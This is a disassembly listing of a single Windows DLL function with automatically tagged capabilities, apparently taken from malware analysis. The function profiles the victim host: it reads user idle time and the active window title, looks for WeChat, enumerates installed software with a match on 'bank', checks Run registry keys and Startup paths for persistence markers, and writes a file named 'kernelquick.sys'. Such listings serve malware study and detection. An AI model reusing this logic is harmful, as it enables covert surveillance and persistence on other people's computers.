Function at 0x18000e0c0
Capabilities:
Get common file path
Get graphical window text
Get installed programs
Persist via run registry key
Query or enumerate registry value
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x6d8]
sub rsp, 0x7b0
mov qword [rbp + 8], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x180033250]
xor rax, rsp
mov qword [rbp + 0x6a0], rax
mov r13, rcx
mov qword [rbp], rcx
mov ecx, 0x224
call fcn.180013c38
mov r15, rax
xor edx, edx
mov r8d, 0x224
mov rcx, rax
call fcn.180017680
mov byte [r15], 0xcc
mov dword [rsp + 0x48], 8
lea rcx, [rsp + 0x48]
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
sub edx, dword [rsp + 0x4c]
mov eax, 0x10624dd3
mul edx
shr edx, 6
mov eax, 0x88888889
mul edx
shr edx, 5
lea rcx, [r15 + 2]
mov r8d, edx
lea rdx, [0x18002bb38]
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x18000e18c
lea rdx, [r15 + 0x20]
mov r8d, 0xfa
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, str.WeChat.exe
call fcn.180009bc0
test eax, eax
setne al
mov byte [r15 + 0x21d], al
xor r14d, r14d
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
mov qword [rbp + 0x10], 0xffffffff80000002
mov qword [rbp + 0x30], 7
mov qword [rbp + 0x28], r14
mov word [rbp + 0x18], r14w
lea r8d, [r14 + 0x33]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
lea rcx, [rbp + 0x18]
call fcn.180010a80
nop
lea rcx, [rsp + 0x70]
call fcn.180010930
mov rdi, qword [rsp + 0x78]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
test rdi, rdi
je 0x18000e226
mov rax, qword [rbp + 0x10]
mov qword [rdi], rax
lea rcx, [rdi + 8]
mov qword [rcx + 0x18], 7
mov qword [rcx + 0x10], r14
mov word [rcx], r14w
lea rdx, [rbp + 0x18]
call fcn.180011110
nop
add rdi, 0x30
mov qword [rsp + 0x78], rdi
cmp qword [rbp + 0x30], 8
jb 0x18000e23f
mov rcx, qword [rbp + 0x18]
call fcn.1800135c0
mov qword [rbp + 0x10], 0xffffffff80000002
mov qword [rbp + 0x30], 7
mov qword [rbp + 0x28], r14
mov word [rbp + 0x18], r14w
mov r8d, 0x3f
lea rdx, str.SOFTWAREWOW6432NODEMicrosoftWindowsCurrentVersionUninstall
lea rcx, [rbp + 0x18]
call fcn.180010a80
nop
lea rax, [rbp + 0x10]
movabs r12, 0x2aaaaaaaaaaaaaab
mov rsi, qword [rsp + 0x70]
cmp rax, rdi
jae 0x18000e321
lea rax, [rbp + 0x10]
cmp rsi, rax
ja 0x18000e321
lea rcx, [rbp + 0x10]
sub rcx, rsi
mov rax, r12
imul rcx
mov r12, rdx
sar r12, 3
mov rax, r12
shr rax, 0x3f
add r12, rax
mov rbx, qword [rbp - 0x80]
cmp rdi, rbx
jne 0x18000e2d7
lea rcx, [rsp + 0x70]
call fcn.180010930
mov rbx, qword [rbp - 0x80]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
lea rdx, [r12 + r12*2]
shl rdx, 4
add rdx, rsi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
test rdi, rdi
je 0x18000e315
mov rax, qword [rdx]
mov qword [rdi], rax
lea rcx, [rdi + 8]
mov qword [rcx + 0x18], 7
mov qword [rcx + 0x10], r14
mov word [rcx], r14w
add rdx, 8
call fcn.180011110
nop
movabs r12, 0x2aaaaaaaaaaaaaab
jmp 0x18000e376
mov rbx, qword [rbp - 0x80]
cmp rdi, rbx
jne 0x18000e342
lea rcx, [rsp + 0x70]
call fcn.180010930
mov rbx, qword [rbp - 0x80]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
test rdi, rdi
je 0x18000e376
mov rax, qword [rbp + 0x10]
mov qword [rdi], rax
lea rcx, [rdi + 8]
mov qword [rcx + 0x18], 7
mov qword [rcx + 0x10], r14
mov word [rcx], r14w
lea rdx, [rbp + 0x18]
call fcn.180011110
nop
add rdi, 0x30
mov qword [rsp + 0x78], rdi
cmp qword [rbp + 0x30], 8
jb 0x18000e38f
mov rcx, qword [rbp + 0x18]
call fcn.1800135c0
mov qword [rbp + 0x10], 0xffffffff80000001
mov qword [rbp + 0x30], 7
mov qword [rbp + 0x28], r14
mov word [rbp + 0x18], r14w
mov r8d, 0x33
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
lea rcx, [rbp + 0x18]
call fcn.180010a80
nop
lea rax, [rbp + 0x10]
cmp rax, rdi
jae 0x18000e450
lea rax, [rbp + 0x10]
cmp rsi, rax
ja 0x18000e450
lea rcx, [rbp + 0x10]
sub rcx, rsi
mov rax, r12
imul rcx
mov r12, rdx
sar r12, 3
mov rax, r12
shr rax, 0x3f
add r12, rax
cmp rdi, rbx
jne 0x18000e410
lea rcx, [rsp + 0x70]
call fcn.180010930
mov rbx, qword [rbp - 0x80]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
lea rdx, [r12 + r12*2]
shl rdx, 4
add rdx, rsi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
test rdi, rdi
je 0x18000e44e
mov rax, qword [rdx]
mov qword [rdi], rax
lea rcx, [rdi + 8]
mov qword [rcx + 0x18], 7
mov qword [rcx + 0x10], r14
mov word [rcx], r14w
add rdx, 8
call fcn.180011110
nop
jmp 0x18000e4a1
cmp rdi, rbx
jne 0x18000e46d
lea rcx, [rsp + 0x70]
call fcn.180010930
mov rbx, qword [rbp - 0x80]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
test rdi, rdi
je 0x18000e4a1
mov rax, qword [rbp + 0x10]
mov qword [rdi], rax
lea rcx, [rdi + 8]
mov qword [rcx + 0x18], 7
mov qword [rcx + 0x10], r14
mov word [rcx], r14w
lea rdx, [rbp + 0x18]
call fcn.180011110
nop
add rdi, 0x30
mov qword [rsp + 0x78], rdi
cmp qword [rbp + 0x30], 8
jb 0x18000e4ba
mov rcx, qword [rbp + 0x18]
call fcn.1800135c0
mov qword [rbp + 0x10], 0xffffffff80000001
mov qword [rbp + 0x30], 7
mov qword [rbp + 0x28], r14
mov word [rbp + 0x18], r14w
mov r8d, 0x3f
lea rdx, str.SOFTWAREWOW6432NODEMicrosoftWindowsCurrentVersionUninstall
lea rcx, [rbp + 0x18]
call fcn.180010a80
nop
lea rax, [rbp + 0x10]
cmp rax, rdi
jae 0x18000e57e
lea rax, [rbp + 0x10]
cmp rsi, rax
ja 0x18000e57e
lea rcx, [rbp + 0x10]
sub rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
mov r12, rdx
sar r12, 3
mov rax, r12
shr rax, 0x3f
add r12, rax
cmp rdi, rbx
jne 0x18000e53e
lea rcx, [rsp + 0x70]
call fcn.180010930
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
lea rdx, [r12 + r12*2]
shl rdx, 4
add rdx, rsi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
test rdi, rdi
je 0x18000e57c
mov rax, qword [rdx]
mov qword [rdi], rax
lea rcx, [rdi + 8]
mov qword [rcx + 0x18], 7
mov qword [rcx + 0x10], r14
mov word [rcx], r14w
add rdx, 8
call fcn.180011110
nop
jmp 0x18000e5cb
cmp rdi, rbx
jne 0x18000e597
lea rcx, [rsp + 0x70]
call fcn.180010930
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
test rdi, rdi
je 0x18000e5cb
mov rax, qword [rbp + 0x10]
mov qword [rdi], rax
lea rcx, [rdi + 8]
mov qword [rcx + 0x18], 7
mov qword [rcx + 0x10], r14
mov word [rcx], r14w
lea rdx, [rbp + 0x18]
call fcn.180011110
nop
add rdi, 0x30
mov qword [rsp + 0x78], rdi
cmp qword [rbp + 0x30], 8
jb 0x18000e5e4
mov rcx, qword [rbp + 0x18]
call fcn.1800135c0
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], r14
mov qword [rbp + 0x28], 7
mov qword [rbp + 0x20], r14
mov word [rbp + 0x10], r14w
mov r8d, 2
lea rdx, [0x18002c270]
lea rcx, [rbp + 0x10]
call fcn.180010a80
nop
lea rcx, [rbp - 0x50]
call fcn.1800107f0
mov rbx, qword [rbp - 0x48]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
or r12, 0xffffffffffffffff
test rbx, rbx
je 0x18000e65b
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], r14
mov word [rbx], r14w
mov r9, r12
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.180010590
nop
add rbx, 0x28
mov qword [rbp - 0x48], rbx
cmp qword [rbp + 0x28], 8
jb 0x18000e673
mov rcx, qword [rbp + 0x10]
call fcn.1800135c0
mov qword [rbp + 0x28], 7
mov qword [rbp + 0x20], r14
mov word [rbp + 0x10], r14w
mov r8d, 2
lea rdx, [0x18002c278]
lea rcx, [rbp + 0x10]
call fcn.180010a80
nop
lea rax, [rbp + 0x10]
cmp rax, rbx
jae 0x18000e72a
lea rax, [rbp + 0x10]
mov r8, qword [rbp - 0x50]
cmp r8, rax
ja 0x18000e72a
lea rcx, [rbp + 0x10]
sub rcx, r8
movabs rax, 0x6666666666666667
imul rcx
mov r12, rdx
sar r12, 4
mov rax, r12
shr rax, 0x3f
add r12, rax
cmp rbx, qword [rbp - 0x40]
jne 0x18000e6f1
lea rcx, [rbp - 0x50]
call fcn.1800107f0
mov rbx, qword [rbp - 0x48]
mov r8, qword [rbp - 0x50]
lea rax, [r12 + r12*4]
lea rdx, [r8 + rax*8]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x18000e728
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], r14
mov word [rbx], r14w
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rcx, rbx
call fcn.180010590
nop
jmp 0x18000e76f
cmp rbx, qword [rbp - 0x40]
jne 0x18000e73d
lea rcx, [rbp - 0x50]
call fcn.1800107f0
mov rbx, qword [rbp - 0x48]
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x18000e76f
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], r14
mov word [rbx], r14w
mov r9, r12
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.180010590
nop
add rbx, 0x28
mov qword [rbp - 0x48], rbx
cmp qword [rbp + 0x28], 8
jb 0x18000e787
mov rcx, qword [rbp + 0x10]
call fcn.1800135c0
mov qword [rbp + 0x28], 7
mov qword [rbp + 0x20], r14
mov word [rbp + 0x10], r14w
mov r8d, 2
lea rdx, [0x18002c280]
lea rcx, [rbp + 0x10]
call fcn.180010a80
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x50]
call fcn.180010300
nop
cmp qword [rbp + 0x28], 8
jb 0x18000e7cd
mov rcx, qword [rbp + 0x10]
call fcn.1800135c0
mov qword [rbp + 0x28], 7
mov qword [rbp + 0x20], r14
mov word [rbp + 0x10], r14w
mov r8d, 4
lea rdx, str.bank
lea rcx, [rbp + 0x10]
call fcn.180010a80
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x50]
call fcn.180010300
nop
cmp qword [rbp + 0x28], 8
jb 0x18000e813
mov rcx, qword [rbp + 0x10]
call fcn.1800135c0
mov qword [rbp + 0x28], 7
mov qword [rbp + 0x20], r14
mov word [rbp + 0x10], r14w
mov r8d, 2
lea rdx, [0x18002c294]
lea rcx, [rbp + 0x10]
call fcn.180010a80
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x50]
call fcn.180010300
nop
cmp qword [rbp + 0x28], 8
jb 0x18000e859
mov rcx, qword [rbp + 0x10]
call fcn.1800135c0
mov qword [rbp - 0x20], r14
xor ebx, ebx
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rbx
sub rdi, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rdi
mov r12, rdx
sar r12, 3
mov rax, r12
shr rax, 0x3f
add r12, rax
je 0x18000e91a
nop
lea r8, [rsi + 8]
mov rdx, qword [rsi]
lea rcx, [rbp + 0x10]
call fcn.18000da40
nop
mov r9, qword [rbp + 0x18]
mov r8, qword [rbp + 0x10]
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1800111a0
nop
mov rdi, qword [rbp + 0x10]
test rdi, rdi
je 0x18000e905
mov rbx, qword [rbp + 0x18]
cmp rdi, rbx
je 0x18000e8fd
xor eax, eax
nop word [rax + rax]
cmp qword [rdi + 0x18], 8
jb 0x18000e8e1
mov rcx, qword [rdi]
call fcn.1800135c0
xor eax, eax
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rax
mov word [rdi], ax
add rdi, 0x28
cmp rdi, rbx
jne 0x18000e8d0
mov rdi, qword [rbp + 0x10]
mov rcx, rdi
call fcn.1800135c0
add rsi, 0x30
mov rbx, qword [rbp - 0x18]
dec r12
jne 0x18000e890
mov r14, qword [rbp - 0x20]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.18000dce0
test al, al
je 0x18000e933
mov byte [r15 + 0x21c], 1
mov dword [rbp - 0x70], 3
xor r12d, r12d
mov dword [rsp + 0x5c], r12d
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000ea83
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x70]
xor r8d, r8d
lea rdx, str.Startup
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [rsp + 0x5c]
cmp edx, 0xa
jbe 0x18000ea79
mov eax, 2
mul rdx
mov rdi, 0xffffffffffffffff
cmovo rax, rdi
mov rcx, rax
call fcn.1800135b8
mov rsi, rax
mov r8d, dword [rsp + 0x5c]
xor edx, edx
mov rcx, rax
call fcn.180017680
lea rcx, [rsp + 0x5c]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x70]
xor r8d, r8d
lea rdx, str.Startup
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000ea79
mov qword [rbp + 0x28], 7
mov qword [rbp + 0x20], r12
mov word [rbp + 0x10], r12w
xor eax, eax
mov rcx, rdi
mov rdi, rsi
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rsi
lea rcx, [rbp + 0x10]
call fcn.180010a80
lea r8d, [r12 + 8]
lea rdx, str.C:Users
lea rcx, [rbp + 0x10]
call fcn.180010660
cmp rax, 0xffffffffffffffff
jne 0x18000ea61
lea r8d, [r12 + 0x1c]
lea rdx, str.C:ProgramData_anonymous_run
lea rcx, [rbp + 0x10]
call fcn.180010660
cmp rax, 0xffffffffffffffff
je 0x18000ea69
mov byte [r15 + 0x21e], 1
cmp qword [rbp + 0x28], 8
jb 0x18000ea79
mov rcx, qword [rbp + 0x10]
call fcn.1800135c0
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x58], 1
mov dword [rsp + 0x68], r12d
mov dword [rsp + 0x64], r12d
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000ebee
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x58]
xor r8d, r8d
lea rdx, [0x18002c400]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [rsp + 0x68]
test edx, edx
je 0x18000eb56
mov eax, 2
mul rdx
mov rsi, 0xffffffffffffffff
cmovo rax, rsi
mov rcx, rax
call fcn.1800135b8
mov rdi, rax
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov rcx, rax
call fcn.180017680
lea r11, [rsp + 0x68]
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x58]
xor r8d, r8d
lea rdx, [0x18002c400]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000eb5a
mov byte [r15 + 0x21e], 1
jmp 0x18000eb5a
or rsi, 0xffffffffffffffff
lea rax, [rsp + 0x64]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x58]
xor r8d, r8d
lea rdx, str.MicrosoftEdge
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [rsp + 0x64]
test edx, edx
je 0x18000ebe4
mov eax, 2
mul rdx
cmovo rax, rsi
mov rcx, rax
call fcn.1800135b8
mov rdi, rax
mov r8d, dword [rsp + 0x64]
xor edx, edx
mov rcx, rax
call fcn.180017680
lea r11, [rsp + 0x64]
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x58]
xor r8d, r8d
lea rdx, str.MicrosoftEdge
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000ebe4
mov byte [r15 + 0x21e], 1
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x40], r12d
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000ed54
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x60]
xor r8d, r8d
lea rdx, [0x18002c400]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [rsp + 0x40]
test edx, edx
je 0x18000ecbc
mov eax, 2
mul rdx
mov rsi, 0xffffffffffffffff
cmovo rax, rsi
mov rcx, rax
call fcn.1800135b8
mov rdi, rax
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov rcx, rax
call fcn.180017680
lea r11, [rsp + 0x40]
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x60]
xor r8d, r8d
lea rdx, [0x18002c400]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000ecc0
mov byte [r15 + 0x21e], 1
jmp 0x18000ecc0
or rsi, 0xffffffffffffffff
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x60]
xor r8d, r8d
lea rdx, str.MicrosoftEdge
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [rsp + 0x40]
test edx, edx
je 0x18000ed4a
mov eax, 2
mul rdx
cmovo rax, rsi
mov rcx, rax
call fcn.1800135b8
mov rdi, rax
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov rcx, rax
call fcn.180017680
lea r11, [rsp + 0x40]
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x60]
xor r8d, r8d
lea rdx, str.MicrosoftEdge
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000ed4a
mov byte [r15 + 0x21e], 1
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp - 0x30], r12d
lea rax, [rbp + 0x290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.kernelquick.sys
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 2]
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, eax
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x30]
lea rdx, [rbp + 0x290]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x18000ee0c
mov byte [r15 + 0x21f], 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
mov dword [rbp - 0x58], r12d
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov byte [rsp + 0x20], r12b
mov r9b, 1
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.18000efa0
mov rsi, rax
movsxd r12, dword [rbp - 0x58]
test r12d, r12d
jne 0x18000ee6d
cmp dword [r13 + 0x10], r12d
jne 0x18000ee6d
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
mov r8d, 0x224
mov rdx, r15
call qword [rax + 0x10]
lea r13d, [r12 + 0x224]
movsxd rcx, r13d
call fcn.1800135b8
mov rdi, rax
mov ecx, dword [rsp + 0x50]
mov dword [r15 + 0x214], ecx
mov ecx, dword [rsp + 0x48]
mov dword [r15 + 0x218], ecx
mov rcx, rax
mov rdx, r15
mov r8d, 0x224
call fcn.180013610
mov r8, r12
lea rcx, [rdi + 0x224]
mov rdx, rsi
call fcn.180013610
mov rcx, qword [rbp]
cmp dword [rcx + 0x10], 0
jne 0x18000eed3
mov rcx, qword [rcx + 8]
mov rax, qword [rcx]
mov r8d, r13d
mov rdx, rdi
call qword [rax + 0x10]
test rsi, rsi
je 0x18000eee0
mov rcx, rsi
call fcn.180014104
mov rcx, rdi
call fcn.180014104
nop
test r14, r14
je 0x18000ef02
mov rdx, rbx
mov rcx, r14
call fcn.180010e30
mov rcx, r14
call fcn.1800135c0
nop
mov rdi, qword [rbp - 0x50]
test rdi, rdi
je 0x18000ef20
mov rdx, qword [rbp - 0x48]
mov rcx, rdi
call fcn.180010e30
mov rcx, rdi
call fcn.1800135c0
nop
lea rcx, [rsp + 0x70]
call fcn.1800109f0
mov rcx, qword [rbp + 0x6a0]
xor rcx, rsp
call fcn.1800135e0
lea r11, [rsp + 0x7b0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret